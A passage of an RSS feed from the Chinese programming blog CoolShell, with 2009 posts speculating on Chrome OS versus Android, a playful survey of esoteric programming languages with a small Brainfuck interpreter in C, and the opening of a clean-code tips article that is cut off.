align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Python 和 PyGame 的一些示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_title\">Python 和 PyGame 的一些示例</a></li><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" alt=\"两本电子书\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_title\">两本电子书</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1157.html\">Python 自然语言处理</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1157.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>关于 Chrome OS 的一些推论</title>\n\t\t<link>https://coolshell.cn/articles/1152.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1152.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Sun, 12 Jul 2009 17:04:14 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[Android]]></category>\n\t\t<category><![CDATA[Chrome OS]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1152</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>最近Chrome OS被炒作得火热。 为什么还有一年后才发布的产品这么早会公布于众？其实不难想象，一个系统级别的产品的推行必须要跟很多OEM厂家谈合作。而你几乎...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1152.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1152.html\">关于 Chrome OS 的一些推论</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>最近Chrome OS被炒作得火热。</p>\n<p>为什么还有一年后才发布的产品这么早会公布于众？其实不难想象，一个系统级别的产品的推行必须要跟很多OEM厂家谈合作。而你几乎不可能只是秘密地跟一个大公司的2-3个工程总监就能把这种合作谈定，而大多数的OEM公司，例如 DELL， Asus， Acer等这样的公司都不是技术为主导的，商业人士会很早参与意见和项目的计划，一旦知道的人多了，其实也没什么能保密的了。虽然，这样荒腔走板的发布很可能像伤害Android一样伤害Chrome OS。</p>\n<p>为什么Chrome OS和Android是如此独立的两个东西，看似又是在解决一个方向上的问题呢？其实也不难推测。<a href=\"http://www.businessweek.com/technology/content/aug2005/tc20050817_0949_tc024.htm\">Android是Google买下来的公司</a>，其带队的Andy Rubin肯定是个对移动设备的能力有远见的大佬，而Chrome浏览器的领袖 Linus Upson是做V8 Engine的，一定对云和未来的Web Apps有着更坚定的远景。当两个这样强势的团队在公司各自划定地盘以后，融合的可能性就相对小了。</p>\n<p><span id=\"more-1152\"></span><br />\n另，人们对netbook的遐想自然会把所有可能的技术都考虑一遍，尤其是Android这样先进而开源的东西，自然会有把自己定位为先驱的生产商拿来尽早发布netbook产品占领口碑上的“技术制高点”，但是这是不是一定意味着Android在netbook上有一席之地，由市场决定。</p>\n<ul>\n<li>Android是为了更强大的移动设备：有耳朵，有眼睛，知道自己的方位和姿态，方便社交和更好的跟Google产品的融合。</li>\n<li>Chrome是为了更好的云端体验：手上的netbook设备启动几秒就能用，操作系统版本永远最新（<a href=\"http://www.techzoom.net/publications/silent-updates/\">安静地后台自动更新更安全</a>）换台机器登陆后，无需配置升级，所有的东西看起来都还一样，所有的东西为Web Apps加速，使人们不在感觉到操作系统的存在。</li>\n</ul>\n<p>总而言之，以下几个推论：</p>\n<ol>\n<li>Chrome OS上能不能用Android的Apps （store）？很可能，干嘛不？</li>\n<li>Chrome OS上能不能装浏览器？估计可以，但是有啥必要呢？</li>\n<li>Android上的浏览器会不会是Chrome?不太值得讨论，他们都基于webkit， 而且共用插件应该不困难，留给社区开发可能更合适</li>\n<li>Chrome OS会不会和Android合并?短时间不会，就像地线电话和手机一样，但是又有多大差别呢？</li>\n</ol>\n<p>两个可能赢的赛马，两个都赌的话……<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/3549.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"Android将允许纯C/C++开发应用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3549.html\" class=\"wp_rp_title\">Android将允许纯C/C++开发应用</a></li><li ><a href=\"https://coolshell.cn/articles/2608.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/androidappinventor-150x150.jpg\" alt=\"Google App Inventor \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2608.html\" class=\"wp_rp_title\">Google App Inventor </a></li><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg\" alt=\"关于移动端的钓鱼式攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_title\">关于移动端的钓鱼式攻击</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1152.html\">关于 Chrome OS 的一些推论</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1152.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>BT雷人的程序语言</title>\n\t\t<link>https://coolshell.cn/articles/1142.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1142.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 12 Jul 2009 03:07:03 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[brainfuck]]></category>\n\t\t<category><![CDATA[LOLCODE]]></category>\n\t\t<category><![CDATA[programming language]]></category>\n\t\t<category><![CDATA[WhiteSpace]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1142</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这个世界从来都不会缺少另类的东西，人类自然世界如此，计算机世界也一样。编程语言方面，看过本站《6个变态的C语言Hello World程序》的朋友们一定对BT和另...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1142.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1142.html\">BT雷人的程序语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这个世界从来都不会缺少另类的东西，人类自然世界如此，计算机世界也一样。编程语言方面，看过本站《<a title=\"6个变态的C语言Hello World程序 - 661次点击\" href=\"../?p=914\">6个变态的C语言Hello World程序</a>》的朋友们一定对BT和另类不会陌生，但那都是些小儿科，真正的BT和另类要是从语言级上来完成。让我们来看看其中一个比较另类的语言BrainFuck。看到这个程序语言的名字，请不要以为这是一个搞笑的语言，这是一个“严肃事情”，请大家用“最虔诚的态度”来阅读本文。</p>\n<h4>BF语言介绍</h4>\n<p><strong>Brainfuck</strong>，是一种极小化的计算机语言，它是由Urban Müller在1993年创建的。由于“绿王八”的原因，这种语言有时被称为<strong>brainf**k</strong>或<strong>brainf***</strong>，甚至被简称为<strong>BF</strong>。这种 语言，是一种按照“Turing complete（完整图灵机）”思想设计的语言，它的主要设计思路是：用最小的概念实现一种“简单”的语言，BrainF**k 语言只有八种符号，所有的操作都由这八种符号的组合来完成。</p>\n<p>BF基于一个简单的机器模型，除了八个指令，这个机器还包括：一个以字节为单位、被初始化为零的数组、一个指向该数组的指针(初始时指向数组的第一个字节)、以及用于输入输出的两个字节流。</p>\n<p>下面是这八种指令的描述，其中每个指令由一个字符标识：</p>\n<p><span id=\"more-1142\"></span></p>\n<table border=\"0\">\n<tbody>\n<tr>\n<th>字符</th>\n<th>含义</th>\n</tr>\n<tr>\n<td><code>&gt;</code></td>\n<td>指针加一</td>\n</tr>\n<tr>\n<td><code>&lt;</code></td>\n<td>指针减一</td>\n</tr>\n<tr>\n<td><code>+</code></td>\n<td>指针指向的字节的值加一</td>\n</tr>\n<tr>\n<td><code>-</code></td>\n<td>指针指向的字节的值减一</td>\n</tr>\n<tr>\n<td><code>.</code></td>\n<td>输出指针指向的单元内容（ASCII码）</td>\n</tr>\n<tr>\n<td><code>,</code></td>\n<td>输入内容到指针指向的单元（ASCII码）</td>\n</tr>\n<tr>\n<td><code>[</code></td>\n<td>如果指针指向的单元值为零，向后跳转到对应的<code>]</code>指令的次一指令处</td>\n</tr>\n<tr>\n<td><code>]</code></td>\n<td>如果指针指向的单元值不为零，向前跳转到对应的<code>[</code>指令的次一指令处</td>\n</tr>\n</tbody>\n</table>\n<p>（按照更节省时间的简单说法，<code>]</code>也可以说成“向后跳转到对应的<code>[</code>状态”。这两解释是一样的。）</p>\n<p>（第三种同价的说法，<code>[</code>意思是&#8221;向前跳转到对应的<code>]</code>&#8220;，<code>]</code>意思是&#8221;向后跳转到对应的<code>[</code>指令的次一指令处，如果指针指向的字节非零。&#8221;）</p>\n<p>Brainfuck程序可以用下面的替换方法翻译成C语言（假设<code>ptr</code>是<code>char*</code>类型）：</p>\n<table border=\"0\">\n<tbody>\n<tr>\n<th>Brainfuck</th>\n<th>C</th>\n</tr>\n<tr>\n<td align=\"center\"><code>&gt;</code></td>\n<td><code>++ptr;</code></td>\n</tr>\n<tr>\n<td align=\"center\"><code>&lt;</code></td>\n<td><code>--ptr;</code></td>\n</tr>\n<tr>\n<td align=\"center\"><code>+</code></td>\n<td><code>++*ptr;</code></td>\n</tr>\n<tr>\n<td align=\"center\"><code>-</code></td>\n<td><code>--*ptr;</code></td>\n</tr>\n<tr>\n<td align=\"center\"><code>.</code></td>\n<td><code>putchar(*ptr);</code></td>\n</tr>\n<tr>\n<td align=\"center\"><code>,</code></td>\n<td><code>*ptr =getchar();</code></td>\n</tr>\n<tr>\n<td align=\"center\"><code>[</code></td>\n<td><code>while (*ptr) {</code></td>\n</tr>\n<tr>\n<td align=\"center\"><code>]</code></td>\n<td><code>}</code></td>\n</tr>\n</tbody>\n</table>\n<h4>BF解释器</h4>\n<p>因为 BrainFuck 只有八种指令，并且没有关键字，也不允许自定义标识符，因此它的编译器实现起来非常简单，初学 C 语言不久的人都可以自己编出来，尽管在座的各位每人都可以自己编一个，不过为了引起大家的兴趣，我这里还是给出大家一个官方发布的版本。这个程序只有短短 50 多行，并且完全由 ANSI C 写成，因此你随便找个 C 语言编译器，把它编译一下。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;;\n\nint  p, r, q;\nchar a[5000], f[5000], b, o, *s=f;\n\nvoid interpret(char *c)\n{\n    char *d;\n\n    r++;\n    while( *c ) {\n        //if(strchr(&quot;&lt;&gt;;+-,.[]\\n&quot;,*c))printf(&quot;%c&quot;,*c);\n        switch(o=1,*c++) {\n            case &#039;&lt;&#039;: p--;        break;\n            case &#039;&gt;;&#039;: p++;       break;\n            case &#039;+&#039;: a[p]++;     break;\n            case &#039;-&#039;: a[p]--;     break;\n            case &#039;.&#039;: putchar(a[p]); fflush(stdout); break;\n            case &#039;,&#039;: a[p]=getchar();fflush(stdout); break;\n            case &#039;[&#039;:\n                for( b=1,d=c; b &amp;&amp; *c; c++ )\n                b+=*c==&#039;[&#039;, b-=*c==&#039;]&#039;;\n                if(!b) {\n                    c[-1]=0;\n                    while( a[p] )\n                    interpret(d);\n                    c[-1]=&#039;]&#039;;\n                    break;\n                }\n            case &#039;]&#039;:\n                puts(&quot;UNBALANCED BRACKETS&quot;), exit(0);\n            case &#039;#&#039;:\n                if(q&gt;;2)\n                printf(&quot;%2d %2d %2d %2d %2d %2d %2d %2d %2d %2d\\n%*s\\n&quot;,\n                *a,a[1],a[2],a[3],a[4],a[5],a[6],a[7],a[8],a[9],3*p+2,&quot;^&quot;);\n                break;\n            default: o=0;\n        }\n        if( p&lt;0 || p&gt;;100)\n            puts(&quot;RANGE ERROR&quot;), exit(0);\n    }\n    r--;\n    //        chkabort();\n}\n\nmain(int argc,char *argv[])\n{\n    FILE *z;\n\n    q=argc;\n\n    if(z=fopen(argv[1],&quot;r&quot;)) {\n        while( (b=getc(z))&gt;;0 )\n            *s++=b;\n        *s=0;\n        interpret(f);\n    }\n}\n</pre>\n<p>当然，如果你觉得用C语言来实现BrainFuck语言的解释器是对BrainFuck这种语言的一种侮辱的话，我们的BrainFuck社区是绝对不能容忍你有这种想法的。因为我们有一个使用100%纯brainfuck写成的一个编译器<strong>awib</strong>：<a href=\"http://code.google.com/p/awib/\" target=\"_blank\">http://code.google.com/p/awib/ </a></p>\n<h4>Hello World</h4>\n<pre>++++++++++[&gt;+++++++&gt;++++++++++&gt;+++&gt;+&lt;&lt;&lt;&lt;-]\n&gt;++.&gt;+.+++++++..+++.&gt;++.&lt;&lt;+++++++++++++++.\n&gt;.+++.------.--------.&gt;+.&gt;.</pre>\n<p>怎么？看不懂吗？下面是解释：</p>\n<pre>+++ +++ +++ +           initialize counter (cell #0) to 10\n[                       use loop to set the next four cells to 70/100/30/10\n    &gt; +++ +++ +             add  7 to cell #1\n    &gt; +++ +++ +++ +         add 10 to cell #2\n    &gt; +++                   add  3 to cell #3\n    &gt; +                     add  1 to cell #4\n    &lt;&lt;&lt; &lt; -                 decrement counter (cell #0)\n]\n&gt;++ .                   print 'H'\n&gt;+.                     print 'e'\n+++ +++ +.              print 'l'\n.                       print 'l'\n+++ .                   print 'o'\n&gt;++ .                   print ' '\n&lt;&lt;+ +++ +++ +++ +++ ++. print 'W'\n&gt;.                      print 'o'\n+++ .                   print 'r'\n--- --- .               print 'l'\n--- --- --.             print 'd'\n&gt;+.                     print '!'\n&gt;.                      print '\\n'</pre>\n<p><strong>相关链接</strong>：</p>\n<ul>\n<li>BF的官网：<a href=\"http://www.muppetlabs.com/~breadbox/bf/\">http://www.muppetlabs.com/~breadbox/bf/</a>。</li>\n<li>BF的Wikipedia：<a href=\"http://en.wikipedia.org/wiki/Brainfuck\">http://en.wikipedia.org/wiki/Brainfuck</a>。</li>\n</ul>\n<h4>其它另类语言</h4>\n<p>如果你要觉得BF已经很BT了，那么你就错了，下面这些程序语言更BT。</p>\n<p><strong>WhiteSpace语言</strong></p>\n<p style=\"padding-left: 30px;\">这是一种只用空白字符（空格，TAB和回车）编程的语言，而其它可见字符统统为注释。下面是它的一个示例：</p>\n<p style=\"padding-left: 30px;\">&nbsp;</p>\n<pre style=\"padding-left: 60px;\">  \t\t \t\n\t\n  \t\n  \n\t\n</pre>\n<p style=\"padding-left: 30px;\">什么？你什么也没有看见，这就对了，因为这正是这门语言的独特之处。访问下面这个链接查看<a href=\"http://compsoc.dur.ac.uk/whitespace/hworld.ws\" target=\"_blank\">Hello,World示例</a>。记得按Ctrl+A来查看程序。</p>\n<p style=\"padding-left: 30px;\">官网：<a href=\"http://compsoc.dur.ac.uk/whitespace/index.php\">http://compsoc.dur.ac.uk/whitespace/index.php</a>。</p>\n<p><strong>LOLCODE语言</strong></p>\n<p style=\"padding-left: 30px;\">LOLCODE是一种建立在高度缩写的网络英语之上的编程语言，一般来说如果一个人能理解这种网络英语就能在未经训练的情况下读懂LOLCODE程序源代码。下面是其Hello,World例程：</p>\n<pre style=\"padding-left: 60px;\">HAI\nCAN HAS STDIO?\nVISIBLE \"HAI WORLD!\"\nKTHXBYE</pre>\n<p style=\"padding-left: 30px;\">翻译成中文就是：</p>\n<pre style=\"padding-left: 60px;\">嗨\n我可以用 STDIO 么？\n显示一下 “HAI WORLD!”\n谢谢啊，再见</pre>\n<p style=\"padding-left: 30px;\">&nbsp;</p>\n<p style=\"padding-left: 30px;\">官网：<a href=\"http://lolcode.com/\">http://lolcode.com/</a></p>\n<p><strong>中文编程语言</strong></p>\n<p style=\"padding-left: 30px;\">不要以为只有老外才那么BT，咱们中国也有自己的BT编程语言。</p>\n<p style=\"padding-left: 30px;\"><strong>中文Basic</strong></p>\n<table border=\"0\">\n<tbody>\n<tr>\n<td>中文指令</td>\n<td></td>\n<td>对应于的Applesoft BASIC</td>\n</tr>\n<tr>\n<td><tt>10 卜=0</tt></td>\n<td></td>\n<td><tt>10 Y=0</tt></td>\n</tr>\n<tr>\n<td><tt>20 <span>入</span> 水, 火</tt></td>\n<td></td>\n<td><tt>20 INPUT E, F</tt></td>\n</tr>\n<tr>\n<td><tt>30 <span>從</span> 日 = 水 <span>到</span> 火</tt></td>\n<td></td>\n<td><tt>30 FOR A = E TO F</tt></td>\n</tr>\n<tr>\n<td><tt>40 卜 = 卜+<span>對數</span>(日)</tt></td>\n<td></td>\n<td><tt>40 Y = Y + LOG (A)</tt></td>\n</tr>\n<tr>\n<td><tt>50 <span>下一</span> 日</tt></td>\n<td></td>\n<td><tt>50 NEXT A</tt></td>\n</tr>\n<tr>\n<td><tt>60 <span>印</span> 卜</tt></td>\n<td></td>\n<td><tt>60 PRINT Y</tt></td>\n</tr>\n</tbody>\n</table>\n<p style=\"padding-left: 60px;\">官网无法访问了，只能看看Wikipedia了：<a href=\"http://en.wikipedia.org/wiki/Chinese_BASIC\">http://en.wikipedia.org/wiki/Chinese_BASIC</a></p>\n<p style=\"padding-left: 30px;\"><strong>中蟒语言（中文Python）</strong></p>\n<p style=\"padding-left: 60px;\">下面的程序是不是很Cool？</p>\n<pre style=\"padding-left: 60px;\">#!/usr/local/bin/cpython\n回答 = 读入('你认为中文程式语言有存在价值吗 ? (有/没有)')\n如 回答 == '有':\n写 '好吧, 让我们一起努力!'\n不然 回答 == '没有':\n写 '好吧,中文并没有作为程式语言的价值.'\n否则:\n写 '请认真考虑后再回答.'</pre>\n<p style=\"padding-left: 60px;\">官网：<a href=\"http://www.chinesepython.org/cgi_bin/cgb.cgi/home.html\">http://www.chinesepython.org/</a></p>\n<p>差不多了，该结束了，再次说明，这是一篇很严肃的文章。</p>\n<p>(<strong>全文完</strong>)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg\" alt=\"千万别惹程序员 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_title\">千万别惹程序员 </a></li><li ><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"读书笔记：对线程模型的批评\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_title\">读书笔记：对线程模型的批评</a></li><li ><a href=\"https://coolshell.cn/articles/4458.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"BT雷人的程序语言（大全）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4458.html\" class=\"wp_rp_title\">BT雷人的程序语言（大全）</a></li><li ><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1-150x150.png\" alt=\"编程语言流行度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_title\">编程语言流行度</a></li><li ><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/language-evolution-150x150.jpg\" alt=\"编程语言进化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_title\">编程语言进化</a></li><li ><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" alt=\"计算机编程简史图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_title\">计算机编程简史图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1142.html\">BT雷人的程序语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1142.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>32</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>整洁代码的4个提示</title>\n\t\t<link>https://coolshell.cn/articles/1095.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1095.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 05 Jul 2009 14:09:01 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1095</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>虽然这样的文章非常的多，并且，就算是对于编程新手来说，也是非常的简单和显而见，但是，在我们进行Code Review过程中，我们还是能够看到那些非常混乱的代码，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1095.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1095.html\">整洁代码的4个提示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>虽然这样的文章非常的多，并且，就算是对于编程新手来说，也是非常的简单和显而见，但是，在我们进行Code Review过程中，我们还是能够看到那些非常混乱的代码，所以，有些时候，你会在想，是不是这样的规则太多了，导致我们的程序员记不住。虽然我们在以前的文章中一遍又一遍的说过（比如：《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1007.html\">优质代码的十诫</a>》），千言万语总结一下，无论你用什么样的语言，最最基本的编程原则就是下面这四条。</p>\n<p><span id=\"more-1095\"></span></p>\n<p><strong>1 &#8211; 简短的方法</strong></p>\n<p>简单才会易读，简单才会容易，简单才能重用，简单才能保证质量。把一件事搞复杂，是一件简单的事；而把一件事变简单，这则是一件复杂的事。KISS-Keep it Simple Stupid是一种哲学，Do one thing, Do it best也是一种哲学。这些都是在告诉我们，做设计，做产品，不要把所有的东西一下子都考虑进来，否则将会让你的事情变成一团糟，剪不断理还乱，就是这样道理。把复杂的事情，困难的事情，逐步细化，分解成一个一个简单而单一的事情，然后再把他们拼装起来完成一个复杂的事情，是我们如何完成一个巨大并复杂的项目的通用方法。</p>\n<p>编程也是这个道理，维护代码的成本会比你创造代码的成本要大得多，所以，一个简短的方法不但可以有利于阅读，维护，重用，同样在进行排错调试测试的时候也能起到巨大的帮助。比如，对于一个简单的方法或函数，单元测试，功能测试，性能测试、代码覆盖，质量保证都能变得相当简单，而这些众多的质量优良的方法最终组成了那质量过硬的最终产品，并让我们在以后的代码不断改进中继续充当重要的作用。</p>\n<p><strong>2 &#8211; 